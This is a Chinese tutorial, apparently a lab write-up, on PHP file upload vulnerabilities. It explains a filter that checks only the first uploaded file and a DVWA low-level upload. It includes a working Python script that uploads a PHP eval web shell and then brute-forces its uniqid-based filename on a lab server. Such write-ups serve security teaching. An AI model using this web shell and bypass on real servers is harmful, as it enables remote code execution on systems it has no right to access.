一、文件上传漏洞简介
二、使用php实现文件上传功能
三、普通上传型
我们可以看到upload先获取了file的变量,再获取了小写后的文件名获取后缀,匹配文件名后缀是不是.php,如果是就返回false,然后再设置上传限制。那么我们再通过判断文件源码发现只对上传文件的第一个file进行的过滤,如果我们上传两个文件,第一个为正常的文件,第二个为我们需要上传的文件,就可以绕过过滤,我们用python构造一个请求:
使用open读取两个文件,pure为正常文件,eval为我们想要的文件,再设置一个代理,这个代理是burp的代理,构造一个files来提交文件,通过post请求提交我们的文件,通过burp查看我们的请求有没有提交成功:
发现文件正常提交,服务器返回了file路径,但是却没有返回第二个文件的路径
uniqid()
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
基于我们对php文件的了解,这个文件名应该是用时间戳来命名的,用的uniqid(),我们可以确定后缀是php,那么我们只需要爆破后三到四位就行,因为我们是同时上传的两个文件,那么两个文件的上传时间是差不多的,当uniqid两个时间差不多时,只有后几位会有变动如下图所示:
所以我们只需要爆破文件的后三到四位即可,丢进burp里面爆破了4万多次后成功获取到文件名:
也可以用python脚本一起上传后直接爆破,下面是代码:
import requests
import time
import json
url = "http://172.16.12.2:81/"
path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
print param
t1 = int(t1, 16) #将获取到的文件名转回16进制
j = t1
while True:
path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:-1] #16进制通过hex编码回uniqid
try:
r = requests.get(path,timeout=1)
except:
continue
if r.status_code == 429:
time.sleep(0.1)
continue
elif r.status_code != 404:
print path
print r.text
break
print j, path, r.status_code
j -= 1 #通过自减后hex编码实现文件名爆破
DAWA LOW
DAWA LOW级别的文件上传:
DVWA_WEB_TO_ROOT.'hackable/uploads/'等于上传文件的文件夹,$_FILES()这个函数用来获取文件名字,文件夹路径加文件名,就是这个文件的绝对路径,后面move_Pupladed_file()就是把临时文件放入到绝对路径中。我们试着传入一个文件然后拦截一下数据包,看看数据是怎么上传的。
上传成功后,我们再看一下源码分析,在用户叭文件上传后,直接就把文件放入了目录,没有经过任何的过滤,所以说我们可以传任意文件,比如我们传入一个php文件里面内容是:
<?php
phpinfo();
?>
成功传入后,我们直接打开目标路径,成功运行了phpinfo():